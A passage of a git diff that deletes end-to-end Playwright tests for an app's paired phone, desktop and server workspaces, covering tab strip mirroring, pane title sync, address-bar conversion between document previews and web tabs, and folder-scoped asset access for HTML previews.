repo.path === serverRepo)?.id ?? '' - expect(repoId, 'the server lists its own repo for the phone').not.toBe('') - await call( - socket, - { - id: 'create-workspace', - method: 'worktree.create', - params: { repo: `id:${repoId}`, name: 'from-phone', setupDecision: 'skip' }, - executionHost: serverHostId - }, - z.unknown() - ) - await expect - .poll(async () => - (await hostWorktrees(socket, serverHostId))?.worktrees.some((row) => - row.path.endsWith('from-phone') - ) - ) - .toBe(true) - let worktreeId = '' - await expect - .poll(async () => { - const listed = await hostWorktrees(socket, serverHostId) - worktreeId = listed?.worktrees.find((row) => row.path === serverFolder)?.worktreeId ?? '' - return worktreeId - }) - .not.toBe('') - const worktree = `id:${worktreeId}` - const serverTabs = async () => - ServerTabsSchema.parse((await host.client.call('session.tabs.list', { worktree })).result) - .tabs - const create = (id: string) => - call( - socket, - { - id, - method: 'session.tabs.createTerminal', - params: { worktree, activate: false, select: false, navigation: 'caller' }, - executionHost: serverHostId - }, - CreatedTabSchema - ) - const { tab: kept } = await create('create-kept') - const { tab: closed } = await create('create-closed') - expect((await serverTabs()).map((tab) => tab.id)).toEqual( - expect.arrayContaining([kept.id, closed.id]) - ) - await expect - .poll(() => desktopTerminalHandles(desktop, worktreeId), { timeout: 30_000 }) - .toEqual(expect.arrayContaining([kept.terminal, closed.terminal])) - - await call( - socket, - { - id: 'close', - method: 'session.tabs.close', - params: { worktree, tabId: closed.id, reason: 'user' }, - executionHost: serverHostId - }, - z.unknown() - ) - await expect - .poll(async () => (await serverTabs()).map((tab) => tab.id), { timeout: 30_000 }) - .toEqual([kept.id]) - await expect - .poll(() => desktopTerminalHandles(desktop, worktreeId), { timeout: 30_000 }) - .toEqual([kept.terminal]) - } finally { - await dispose() - } -}) diff --git a/tests/e2e/paired-mobile-desktop-tab-composition.spec.ts b/tests/e2e/paired-mobile-desktop-tab-composition.spec.ts deleted file mode 100644 index f5b550c0b06..00000000000 --- a/tests/e2e/paired-mobile-desktop-tab-composition.spec.ts +++ /dev/null @@ -1,261 +0,0 @@ -// Phone relay reads must match desktop host-backed tab moves in server session lists and published groups (P3), including after the macOS desktop window closes. -import { mkdirSync, writeFileSync } from 'node:fs' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchPhoneMirrorTopology } from './helpers/phone-mirror-topology' -import type { PairedMobileSocket } from './helpers/paired-mobile-client' -import { readPublishedLayout, readSessionTabs } from './helpers/layout-compat-baseline' -import { - toHostSessionTabId, - toWebTerminalSurfaceTabId -} from '../../src/shared/workspace-layout/terminal-surface-id' -import { z } from 'zod' - -type Frame = PairedMobileSocket['frames'][number] - -const SORTABLE_TAB = '[data-testid="sortable-tab"]' -const HostWorktreesSchema = z.looseObject({ - worktrees: z.array(z.looseObject({ worktreeId: z.string(), path: z.string() })).nullable() -}) -const CreatedTerminalSchema = z.looseObject({ - tab: z.looseObject({ parentTabId: z.string() }) -}) -const SessionTabsSchema = z.looseObject({ - activeTabId: z.string().nullable(), - tabGroups: z.array(z.looseObject({ id: z.string(), tabOrder: z.array(z.string()) })).optional(), - tabs: z.array( - z.looseObject({ id: z.string(), type: z.string(), parentTabId: z.string().optional() }) - ) -}) - -let requestId = 0 -async function call( - socket: PairedMobileSocket, - method: string, - params: unknown, - schema: z.ZodType, - executionHost?: string -): Promise { - requestId += 1 - const id = `${method}-${requestId}` - socket.send(id, method, params, executionHost) - let found: Frame | undefined - await expect - .poll(() => (found = socket.frames.find((frame) => frame.id === id)), { timeout: 30_000 }) - .toBeDefined() - expect(found!.ok, `${method}: ${JSON.stringify(found!.error)}`).toBe(true) - return schema.parse(found!.result) -} - -/** Each tab group's tab order. Group ids are each host's own, so only order and membership compare. */ -type Strip = string[][] - -/** The desktop's tab groups for a workspace, each tab named by the server tab it mirrors. */ -async function desktopStrip(page: Page, worktreeId: string): Promise { - const groups = await page.evaluate( - (id) => (window.__store?.getState().groupsByWorktree[id] ?? []).map((group) => group.tabOrder), - worktreeId - ) - return groups.map((tabOrder) => tabOrder.map(toHostSessionTabId)) -} - -function desktopActiveTab(page: Page, worktreeId: string): Promise { - return page.evaluate((id) => { - const state = window.__store?.getState() - const activeGroupId = state?.activeGroupIdByWorktree[id] - return ( - state?.groupsByWorktree[id]?.find((group) => group.id === activeGroupId)?.activeTabId ?? null - ) - }, worktreeId) -} - -function desktopTab(page: Page, hostTabId: string) { - return page.locator(`${SORTABLE_TAB}[data-tab-id="${toWebTerminalSurfaceTabId(hostTabId)}"]`) -} - -/** Drops one desktop tab onto the leading edge of another, as a user drags in the tab strip. */ -async function dragTab(page: Page, hostTabId: string, ontoHostTabId: string): Promise { - // The active tab docks at a scrolled strip's edge until a drag starts, so drop where it really sits. - const onto = desktopTab(page, ontoHostTabId) - await onto.hover() - await page.mouse.wheel(0, -10_000) - await expect - .poll(() => - onto.evaluate((tab) => tab.closest('[data-tab-strip-slot]')?.parentElement?.scrollLeft) - ) - .toBe(0) - const from = (await desktopTab(page, hostTabId).boundingBox())! - const target = (await onto.boundingBox())! - await page.mouse.move(from.x + from.width / 2, from.y + from.height / 2) - await page.mouse.down() - await page.mouse.move(target.x + target.width * 0.25, target.y + target.height / 2, { steps: 8 }) - await page.mouse.up() -} - -test('phone shows the desktop tab strip of a server workspace, also with the window closed', async (// oxlint-disable-next-line no-empty-pattern -- this test owns its topology launch. -{}, testInfo) => { - test.setTimeout(240_000) - const serverFolder = testInfo.outputPath('server-folder') - mkdirSync(serverFolder, { recursive: true }) - writeFileSync(`${serverFolder}/README.md`, 'server workspace\n') - - const { host, desktop, phone, dispose } = await launchPhoneMirrorTopology( - { phoneTo: 'desktop' }, - testInfo - ) - try { - await host.client.call('repo.add', { path: serverFolder, kind: 'folder' }) - let desktopWorktree = { id: '', hostId: '' } - await expect - .poll( - async () => - (desktopWorktree = await desktop.page.evaluate((folder) => { - const row = window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === folder) - return { id: row?.id ?? '', hostId: row?.hostId ?? '' } - }, serverFolder)).hostId, - { timeout: 30_000 } - ) - .toMatch(/^runtime:/) - const serverHostId = desktopWorktree.hostId - - const socket = await phone.openSocket() - let serverWorktreeId = '' - await expect - .poll(async () => { - const listed = await call( - socket, - 'mobileRelay.hosts.worktrees', - { hostId: serverHostId }, - HostWorktreesSchema - ) - serverWorktreeId = - (listed.worktrees ?? []).find((row) => row.path === serverFolder)?.worktreeId ?? '' - return serverWorktreeId - }) - .not.toBe('') - const worktree = `id:${serverWorktreeId}` - const phoneTabs = () => - call(socket, 'session.tabs.list', { worktree }, SessionTabsSchema, serverHostId) - - const created: string[] = [] - for (let i = 0; i < 3; i += 1) { - const { tab } = await call( - socket, - 'session.tabs.createTerminal', - { worktree, activate: false, select: false, navigation: 'caller' }, - CreatedTerminalSchema, - serverHostId - ) - created.push(tab.parentTabId) - } - - await desktop.page.evaluate( - (id) => window.__store?.getState().setActiveWorktree(id), - desktopWorktree.id - ) - await expect.poll(() => desktop.page.locator(SORTABLE_TAB).count(), { timeout: 30_000 }).toBe(3) - - // A server-placed browser page sits in the same strip. Created by the server itself: one the phone - // creates through the desktop is hosted by the desktop (relayed-browser-tab-create.ts). - const { browserPageId } = ( - await host.client.call<{ browserPageId: string }>('browser.tabCreate', { - worktree, - url: 'about:blank', - activate: false, - // Unplaced, a server-side create would go to the paired desktop. - placement: { kind: 'server' } - }) - ).result - const phoneStrip = async (): Promise => - ((await phoneTabs()).tabGroups ?? []).map((group) => group.tabOrder) - await expect - .poll(async () => (await desktopStrip(desktop.page, desktopWorktree.id))[0]?.length, { - timeout: 30_000 - }) - .toBe(4) - const [first, second, third] = created - // The server's own strip, read on the server: its tab list and its published layout. - const serverStrip = async (): Promise => - ((await readSessionTabs(host.client, worktree)).tabGroups ?? []).map( - (group) => group.tabOrder - ) - const publishedStrip = async (): Promise => - (await readPublishedLayout(host.offer.pairingUrl, serverWorktreeId))?.groups.map( - (group) => group.tabIds - ) ?? [] - - await dragTab(desktop.page, third, first) - await expect - .poll(async () => (await desktopStrip(desktop.page, desktopWorktree.id))[0]?.slice(0, 3)) - .toEqual([third, first, second]) - - await desktopTab(desktop.page, second).click({ button: 'right' }) - await desktop.page.getByRole('menuitem', { name: 'Move Tab to Split' }).hover() - await desktop.page.getByRole('menuitem', { name: 'Right', exact: true }).click() - await expect - .poll(async () => (await desktopStrip(desktop.page, desktopWorktree.id)).length) - .toBe(2) - const splitOff = await desktopStrip(desktop.page, desktopWorktree.id) - await expect.poll(phoneStrip, { timeout: 30_000 }).toEqual(splitOff) - expect(await serverStrip()).toEqual(splitOff) - - await dragTab(desktop.page, first, second) - await expect - .poll(async () => - (await desktopStrip(desktop.page, desktopWorktree.id)).find((group) => - group.includes(second) - ) - ) - .toContain(first) - const arranged = await desktopStrip(desktop.page, desktopWorktree.id) - await expect.poll(phoneStrip, { timeout: 30_000 }).toEqual(arranged) - expect(await serverStrip()).toEqual(arranged) - // The server saves its own browser page's tab, so its published layout holds the same strip. - expect( - (await phoneTabs()).tabs.filter((tab) => tab.type === 'browser').map((tab) => tab.id) - ).toHaveLength(1) - expect(await publishedStrip()).toEqual(arranged) - // Only the server holds this workspace's tabs; the desktop serves its phone just the server page it mirrors (#36447). - const untargeted = await call(socket, 'session.tabs.list', { worktree }, SessionTabsSchema) - expect(untargeted.tabs.map((tab) => tab.id)).toEqual([browserPageId]) - - // Selection is each device's own, as for a local workspace. - await call( - socket, - 'session.tabs.activate', - { worktree, tabId: first, navigation: 'caller' }, - z.looseObject({}), - serverHostId - ) - await desktopTab(desktop.page, third).click() - await expect - .poll(() => desktopActiveTab(desktop.page, desktopWorktree.id)) - .toBe(toWebTerminalSurfaceTabId(third)) - const phoneActive = async () => { - const { activeTabId, tabs } = await phoneTabs() - return tabs.find((candidate) => candidate.id === activeTabId)?.parentTabId - } - expect(await phoneActive()).toBe(first) - - // Only macOS keeps the app alive after its window closes (window-all-closed-quit-policy.ts). - if (process.platform !== 'darwin') { - return - } - await desktop.app.evaluate(({ BrowserWindow }) => { - for (const window of BrowserWindow.getAllWindows()) { - window.close() - } - }) - await expect - .poll(() => desktop.app.evaluate(({ BrowserWindow }) => BrowserWindow.getAllWindows().length)) - .toBe(0) - expect(await phoneStrip()).toEqual(arranged) - expect(await serverStrip()).toEqual(arranged) - expect(await phoneActive()).toBe(first) - } finally { - await dispose() - } -}) diff --git a/tests/e2e/paired-outside-workspace-html-link.spec.ts b/tests/e2e/paired-outside-workspace-html-link.spec.ts deleted file mode 100644 index 9ddb359b918..00000000000 --- a/tests/e2e/paired-outside-workspace-html-link.spec.ts +++ /dev/null @@ -1,165 +0,0 @@ -import { copyFileSync, mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient -} from './helpers/paired-electron-client' -import { readDocPreviewRenderedText } from './helpers/paired-html-preview-inventory' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForActiveTerminalManager } from './helpers/terminal' -import { openTerminalWorkspaceRootLink } from './helpers/terminal-workspace-root-link' - -test.use({ orcaAppExtraEnv: { ORCA_BACKGROUND_LAUNCH: '1' } }) - -test('opens an unregistered host HTML path from a terminal and keeps asset access scoped', async ({ - orcaPage, - testRepoPath -}, testInfo) => { - // Boots a paired hub and client, then opens two documents and approves their asset folders. - test.setTimeout(240_000) - const directory = realpathSync(mkdtempSync(path.join(os.tmpdir(), 'orca-outside-html-'))) - const filePath = path.join(directory, 'proposal.html') - const workspaceAssetReport = path.join( - path.dirname(testRepoPath), - `${path.basename(directory)}.html` - ) - writeFileSync( - filePath, - 'Unregistered HTML

Unregistered host document

' + - '

not granted

' + - '' + - '

font waiting

' - ) - copyFileSync( - path.resolve('src/renderer/src/assets/fonts/Geist-Variable.woff2'), - path.join(directory, 'font.woff2') - ) - writeFileSync( - path.join(directory, 'asset.js'), - 'document.querySelector("#asset").textContent = "approved asset loaded"' - ) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedElectronClient(offer, testInfo, 'Unregistered HTML host') - try { - await expect - .poll( - () => - client.page.evaluate( - (root) => - window.__store - ?.getState() - .allWorktrees() - .some((item) => item.path === root), - testRepoPath - ), - { timeout: 120_000 } - ) - .toBe(true) - const worktreeId = await client.page.evaluate( - async ({ root, environmentId }) => { - const state = window.__store?.getState() - const workspace = state?.allWorktrees().find((item) => item.path === root) - if (!state || !workspace) { - throw new Error('Missing source workspace') - } - await state.updateSettings({ terminalLinkClickBehavior: 'actions' }) - state.setActiveWorktree(workspace.id, `runtime:${environmentId}`) - return workspace.id - }, - { root: testRepoPath, environmentId: client.environmentId } - ) - await ensureTerminalVisible(client.page) - await waitForActiveTerminalManager(client.page) - const terminalTabId = await client.page.evaluate(() => window.__store?.getState().activeTabId) - if (!terminalTabId) { - throw new Error('Missing source terminal') - } - - await openTerminalWorkspaceRootLink(client.page, testInfo, filePath) - const popup = client.page.locator('[data-link-action-popover]') - await popup.getByRole('button', { name: 'Open file', exact: false }).click() - await expect - .poll(() => readDocPreviewRenderedText(client.page, 'h1')) - .toBe('Unregistered host document') - await expect.poll(() => readDocPreviewRenderedText(client.page, '#asset')).toBe('not granted') - await expect( - client.page.getByRole('status').filter({ hasText: 'This preview wants to read' }) - ).toContainText(directory) - await client.page.getByRole('button', { name: 'Allow folder', exact: true }).click() - await expect - .poll(() => readDocPreviewRenderedText(client.page, '#asset')) - .toBe('approved asset loaded') - await expect.poll(() => readDocPreviewRenderedText(client.page, '#font')).toBe('font loaded') - - const document = await client.page.evaluate( - ({ worktreeId, filePath, directory }) => { - const state = window.__store?.getState() - return { - location: state?.browserTabsByWorktree[worktreeId]?.find( - (tab) => tab.docLocation?.filePath === filePath - )?.docLocation, - registered: state?.allWorktrees().some((item) => item.path === directory) - } - }, - { worktreeId, filePath, directory } - ) - expect(document).toEqual({ - location: { kind: 'workspace-doc', worktreeId, filePath }, - registered: false - }) - await client.page.screenshot({ - path: testInfo.outputPath('unregistered-host-html-preview.png') - }) - - const workspaceAssetName = 'outside-doc-asset.js' - writeFileSync( - path.join(testRepoPath, workspaceAssetName), - 'document.querySelector("#asset").textContent="workspace asset loaded"' - ) - writeFileSync( - workspaceAssetReport, - '

Outside report with workspace assets

not granted

' + - `` - ) - await client.page.evaluate( - ({ worktreeId, filePath }) => { - window.__store?.getState().createBrowserTab(worktreeId, 'data:text/html,', { - docLocation: { kind: 'workspace-doc', worktreeId, filePath }, - browserRuntimeEnvironmentId: null, - activate: true - }) - }, - { worktreeId, filePath: workspaceAssetReport } - ) - await expect - .poll(() => - readDocPreviewRenderedText(client.page, 'h1', path.basename(workspaceAssetReport)) - ) - .toBe('Outside report with workspace assets') - await expect( - client.page.getByRole('status').filter({ hasText: 'This preview wants to read' }) - ).toContainText(path.basename(testRepoPath)) - await client.page.getByRole('button', { name: 'Allow folder', exact: true }).click() - await expect - .poll(() => - readDocPreviewRenderedText(client.page, '#asset', path.basename(workspaceAssetReport)) - ) - .toBe('workspace asset loaded') - - await client.page.locator(`[data-tab-id="${terminalTabId}"]`).click() - await openTerminalWorkspaceRootLink(client.page, testInfo, filePath, 'open') - await expect - .poll(() => readDocPreviewRenderedText(client.page, 'h1', 'proposal.html')) - .toBe('Unregistered host document') - } finally { - await client.dispose() - rmSync(workspaceAssetReport, { force: true }) - rmSync(directory, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/paired-pane-title-desktop-host.spec.ts b/tests/e2e/paired-pane-title-desktop-host.spec.ts deleted file mode 100644 index 6a4e1cae990..00000000000 --- a/tests/e2e/paired-pane-title-desktop-host.spec.ts +++ /dev/null @@ -1,148 +0,0 @@ -// #30329/#30386: with two hidden desktops, client pane rename must reach host layout authority and later host rename must reach the already-open client pane. -import type { Page } from '@stablyai/playwright-test' -import { - HOST_TERMINAL_SURFACE_SEPARATOR, - toWebTerminalSurfaceTabId -} from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient -} from './helpers/paired-electron-client' -import { setPaneTitleFromTerminalMenu } from './helpers/terminal-pane-title-actions' - -/** Creates a terminal on the host through the client's runtime and returns its surface tab id. */ -async function createHostTerminal(page: Page, environmentId: string, worktreeId: string) { - return page.evaluate( - async ({ environmentId, worktreeId }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'session.tabs.createTerminal', - params: { - worktree: `id:${worktreeId}`, - activate: false, - select: false, - navigation: 'caller' - } - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - const result: unknown = response.result - const tab = result && typeof result === 'object' && 'tab' in result ? result.tab : undefined - const id = tab && typeof tab === 'object' && 'id' in tab ? tab.id : undefined - if (typeof id !== 'string') { - throw new Error('host did not return the created terminal tab') - } - return id - }, - { environmentId, worktreeId } - ) -} - -async function showTab(page: Page, worktreeId: string, tabId: string): Promise { - await page.evaluate( - ({ worktreeId, tabId }) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId) - state?.setActiveTab(tabId) - state?.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - }, - { worktreeId, tabId } - ) - await expect - .poll(() => page.evaluate((id) => window.__paneManagers?.has(id) ?? false, tabId), { - timeout: 60_000, - message: `pane for ${tabId} never mounted` - }) - .toBe(true) -} - -function shownPaneTitles(page: Page): Promise { - return page.locator('.pane-title-text').allTextContents() -} - -test('pane names travel between a desktop host and its paired client, live', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(300_000) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedElectronClient(offer, testInfo, 'pane-title-desktop-host') - try { - const worktreeId = await orcaPage.evaluate(() => { - const id = window.__store?.getState().activeWorktreeId - if (!id) { - throw new Error('host has no active worktree') - } - return id - }) - await expect - .poll( - () => - client.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) ?? false, - worktreeId - ), - { timeout: 60_000, message: 'paired client never saw the host worktree' } - ) - .toBe(true) - const createdTabId = await createHostTerminal(client.page, client.environmentId, worktreeId) - const hostTabId = createdTabId.split(HOST_TERMINAL_SURFACE_SEPARATOR)[0] - const webTabId = toWebTerminalSurfaceTabId(hostTabId) - const hostTabTitle = () => - orcaPage.evaluate( - ({ worktreeId, tabId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).find( - (tab) => tab.id === tabId - )?.customTitle ?? null, - { worktreeId, tabId: hostTabId } - ) - - await showTab(orcaPage, worktreeId, hostTabId) - await expect - .poll( - () => - client.page.evaluate( - (id) => (window.__store?.getState().tabsByWorktree[id] ?? []).map((tab) => tab.id), - worktreeId - ), - { timeout: 60_000, message: 'client never mirrored the host tab' } - ) - .toContain(webTabId) - await showTab(client.page, worktreeId, webTabId) - const tabTitleBefore = await hostTabTitle() - - // #30386 gap 1: the client's pane rename reaches the host's window, and only as a pane name. - await setPaneTitleFromTerminalMenu(client.page, 'client-named') - await expect - .poll(() => shownPaneTitles(orcaPage), { - timeout: 30_000, - message: "the host window never showed the client's pane name" - }) - .toContain('client-named') - expect(await hostTabTitle()).toBe(tabTitleBefore) - - // #30386 gap 2: a name the host sets reaches the client's already-open pane. - await setPaneTitleFromTerminalMenu(orcaPage, 'host-named') - await expect - .poll(() => shownPaneTitles(client.page), { - timeout: 30_000, - message: "the client's open pane never showed the host's pane name" - }) - .toContain('host-named') - expect(await shownPaneTitles(client.page)).not.toContain('client-named') - expect(await hostTabTitle()).toBe(tabTitleBefore) - await testInfo.attach('host', { body: await orcaPage.screenshot(), contentType: 'image/png' }) - await testInfo.attach('client', { - body: await client.page.screenshot(), - contentType: 'image/png' - }) - } finally { - await client.dispose() - } -}) diff --git a/tests/e2e/paired-preview-address-bar-convergence.spec.ts b/tests/e2e/paired-preview-address-bar-convergence.spec.ts deleted file mode 100644 index 9854482fa1b..00000000000 --- a/tests/e2e/paired-preview-address-bar-convergence.spec.ts +++ /dev/null @@ -1,355 +0,0 @@ -import { writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { openFileExplorer } from './helpers/file-explorer' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient, - type RuntimeDesktopPairingOffer -} from './helpers/paired-electron-client' -import { startClientHostedMarkerFixture } from './helpers/client-hosted-browser-fixture' -import { - readDocPreviewGuestUrl, - readDocPreviewRenderedText, - readPairedHtmlPreviewInventory, - requireSingleDocWorkspace -} from './helpers/paired-html-preview-inventory' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const FIXTURE_NAME = 'convergence-doc.html' -const FIXTURE_HEADING = 'address bar convergence' -const FIXTURE_TITLE = 'Convergence Document' - -type PreparedPairedClient = { - client: PairedElectronClient - worktreeId: string - worktreePath: string -} - -async function preparePairedClient( - offer: RuntimeDesktopPairingOffer, - testInfo: TestInfo, - testRepoPath: string -): Promise { - // The client-hosted intro tour opens beside the address bar and covers its suggestions. - const client = await launchPairedElectronClient(offer, testInfo, 'Address-bar convergence', { - seenContextualTourIds: ['client-hosted-browser'] - }) - try { - // Use workstation width so split-preview document chips retain clickable pixels under CI. - await client.page.setViewportSize({ width: 1600, height: 900 }) - await expect - .poll( - () => - client.page.evaluate( - (repoPath) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === repoPath)?.id ?? null, - testRepoPath - ), - { timeout: 120_000, message: 'paired client never received the host worktree' } - ) - .not.toBeNull() - const worktree = await client.page.evaluate((repoPath) => { - const match = window.__store - ?.getState() - .allWorktrees() - .find((candidate) => candidate.path === repoPath) - return match ? { id: match.id, path: match.path } : null - }, testRepoPath) - if (!worktree) { - throw new Error('paired client worktree disappeared after discovery') - } - await client.page.evaluate( - ({ environmentId, worktreeId }) => { - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId: client.environmentId, worktreeId: worktree.id } - ) - return { client, worktreeId: worktree.id, worktreePath: worktree.path } - } catch (error) { - await client.dispose() - throw error - } -} - -// Use the canonical new-tab path: raw paired create can race adoption and duplicate the host page. -async function openPairedWebTab(page: Page, url: string): Promise { - await page.evaluate(async (pageUrl) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Paired client has no active worktree') - } - const groupId = state.activeGroupIdByWorktree[state.activeWorktreeId] - if (!groupId) { - throw new Error('Paired client has no active tab group') - } - state.setBrowserDefaultUrl(pageUrl) - await state.openNewBrowserTabInActiveWorkspace(groupId) - }, url) -} - -async function openPreviewFromExplorer(page: Page, fixtureName: string): Promise { - await openFileExplorer(page) - const fixtureRow = page.locator('[data-file-explorer-row]').filter({ hasText: fixtureName }) - await expect(fixtureRow).toBeVisible({ timeout: 30_000 }) - await fixtureRow.click() - const openPreview = page.getByRole('button', { name: 'Preview', exact: true }) - await expect(openPreview).toBeVisible({ timeout: 30_000 }) - await openPreview.click() -} - -// STA-5681: drive preview chip → URL conversion → Back/Forward → document conversion and document-name suggestions. -// Converted tabs retain client-local ownership, so host session snapshots stay empty. -test('converts a preview to a web tab and back from the address bar', async ({ - orcaPage, - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - writeFileSync( - path.join(testRepoPath, FIXTURE_NAME), - `${FIXTURE_TITLE}` + - `

${FIXTURE_HEADING}

\n` - ) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const marker = await startClientHostedMarkerFixture() - let prepared: PreparedPairedClient | null = null - try { - prepared = await preparePairedClient(offer, testInfo, testRepoPath) - const { client, worktreeId, worktreePath } = prepared - const page = client.page - const docFilePath = path.join(worktreePath, FIXTURE_NAME) - const inventoryArgs = { environmentId: client.environmentId, docFilePath, worktreeId } - - await openPreviewFromExplorer(page, FIXTURE_NAME) - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length, - { timeout: 60_000, message: 'the document browser tab never materialized' } - ) - .toBe(1) - await expect - .poll(() => readDocPreviewRenderedText(page, 'h1'), { timeout: 60_000 }) - .toContain(FIXTURE_HEADING) - const preview = requireSingleDocWorkspace( - await readPairedHtmlPreviewInventory(page, inventoryArgs) - ) - await page.locator(`[data-tab-id="${preview.workspaceId}"]`).click() - - // The mobile-publish baseline: the document tab is held back from the tab snapshot. - const baseline = await readPairedHtmlPreviewInventory(page, inventoryArgs) - expect(baseline.hostSessionBrowserTabs).toHaveLength(0) - - // Click the file icon at the chip’s left edge; narrow-pane center hits the neighboring tooltip. - await page - .getByRole('button', { name: 'Edit address', exact: true }) - .click({ position: { x: 8, y: 10 } }) - const addressInput = page.locator('[data-browser-chrome-address-slot] input') - await expect(addressInput).toBeVisible({ timeout: 10_000 }) - await expect(addressInput).toHaveValue(FIXTURE_NAME) - - // Convert in place with the preview’s client-local ownership; desktop-host publish behavior is pinned in sync-runtime-graph-conversion-publish.test.ts. - await addressInput.fill(marker.markerUrl) - await addressInput.press('Enter') - await expect - .poll( - async () => { - const inventory = await readPairedHtmlPreviewInventory(page, inventoryArgs) - return { - docWorkspaces: inventory.docWorkspaces.length, - publishedTabs: inventory.hostSessionBrowserTabs.length - } - }, - { timeout: 60_000, message: 'the conversion never reached the store' } - ) - .toEqual({ docWorkspaces: 0, publishedTabs: 0 }) - const converted = await page.evaluate( - ({ targetWorktreeId, workspaceId }) => { - const state = window.__store?.getState() - const workspace = (state?.browserTabsByWorktree[targetWorktreeId] ?? []).find( - (tab) => tab.id === workspaceId - ) - const pages = state?.browserPagesByWorkspace[workspaceId] ?? [] - return workspace - ? { - url: workspace.url, - docLocation: workspace.docLocation ?? null, - convertedFrom: pages[0]?.convertedFrom ?? null - } - : null - }, - { targetWorktreeId: worktreeId, workspaceId: preview.workspaceId } - ) - expect(converted?.url).toBe(marker.markerUrl) - expect(converted?.docLocation).toBeNull() - expect(converted?.convertedFrom).toMatchObject({ kind: 'workspace-doc' }) - await expect - .poll(() => page.locator('webview').last().getAttribute('src'), { timeout: 30_000 }) - .toContain(marker.origin) - - // Back's one-level return: the guest has no history, so Back crosses the conversion. - await page.getByRole('button', { name: 'Back', exact: true }).click() - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length, - { timeout: 60_000, message: 'Back never returned across the conversion' } - ) - .toBe(1) - await expect - .poll(() => readDocPreviewRenderedText(page, 'h1'), { timeout: 60_000 }) - .toContain(FIXTURE_HEADING) - await expect.poll(() => readDocPreviewGuestUrl(page)).toMatch(/^orca-preview:\/\//) - - // Forward rebuilds the consumed client-local web target; runtime-owned origins remain unsupported because conversion closed their remote page (STA-5872). - await page.getByRole('button', { name: 'Forward', exact: true }).click() - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length, - { timeout: 60_000, message: 'Forward never re-crossed the conversion' } - ) - .toBe(0) - await expect - .poll(() => page.locator('webview').last().getAttribute('src'), { timeout: 30_000 }) - .toContain(marker.origin) - await page.getByRole('button', { name: 'Back', exact: true }).click() - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length, - { timeout: 60_000, message: 'Back after Forward never returned across the conversion' } - ) - .toBe(1) - await expect - .poll(() => readDocPreviewRenderedText(page, 'h1'), { timeout: 60_000 }) - .toContain(FIXTURE_HEADING) - - // Reverse from web to document, then require the web toolbar’s Forward to re-cross after Back. - await page.getByRole('button', { name: 'Forward', exact: true }).click() - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length, - { timeout: 60_000, message: 'the second Forward never re-crossed the conversion' } - ) - .toBe(0) - // Click the input slot to expand its zero-width field before typing (#11090). - const convertedAddressSlot = page.locator('[data-browser-chrome-address-slot]') - await expect(convertedAddressSlot).toBeVisible({ timeout: 30_000 }) - await convertedAddressSlot.click() - const convertedAddressInput = convertedAddressSlot.locator('input') - await expect(convertedAddressInput).toBeVisible({ timeout: 30_000 }) - await convertedAddressInput.fill(docFilePath) - await convertedAddressInput.press('Enter') - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length, - { timeout: 60_000, message: 'the typed path never converted the client-local web tab' } - ) - .toBe(1) - await page.getByRole('button', { name: 'Back', exact: true }).click() - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length, - { timeout: 60_000, message: 'Back never restored the typed-over web page' } - ) - .toBe(0) - await expect - .poll(() => page.locator('webview').last().getAttribute('src'), { timeout: 30_000 }) - .toContain(marker.origin) - await page.getByRole('button', { name: 'Forward', exact: true }).click() - await expect - .poll( - async () => - (await readPairedHtmlPreviewInventory(page, inventoryArgs)).docWorkspaces.length, - { timeout: 60_000, message: "the web toolbar's Forward never re-crossed to the document" } - ) - .toBe(1) - await expect - .poll(() => readDocPreviewRenderedText(page, 'h1'), { timeout: 60_000 }) - .toContain(FIXTURE_HEADING) - - const returned = requireSingleDocWorkspace( - await readPairedHtmlPreviewInventory(page, inventoryArgs) - ) - await page.evaluate((workspaceId) => { - window.__store?.getState().closeBrowserTab(workspaceId) - }, returned.workspaceId) - await openPairedWebTab(page, marker.markerUrl) - const webAddressInput = page.locator('[data-browser-chrome-address-slot] input') - await expect(webAddressInput).toBeVisible({ timeout: 30_000 }) - await webAddressInput.fill(docFilePath) - await 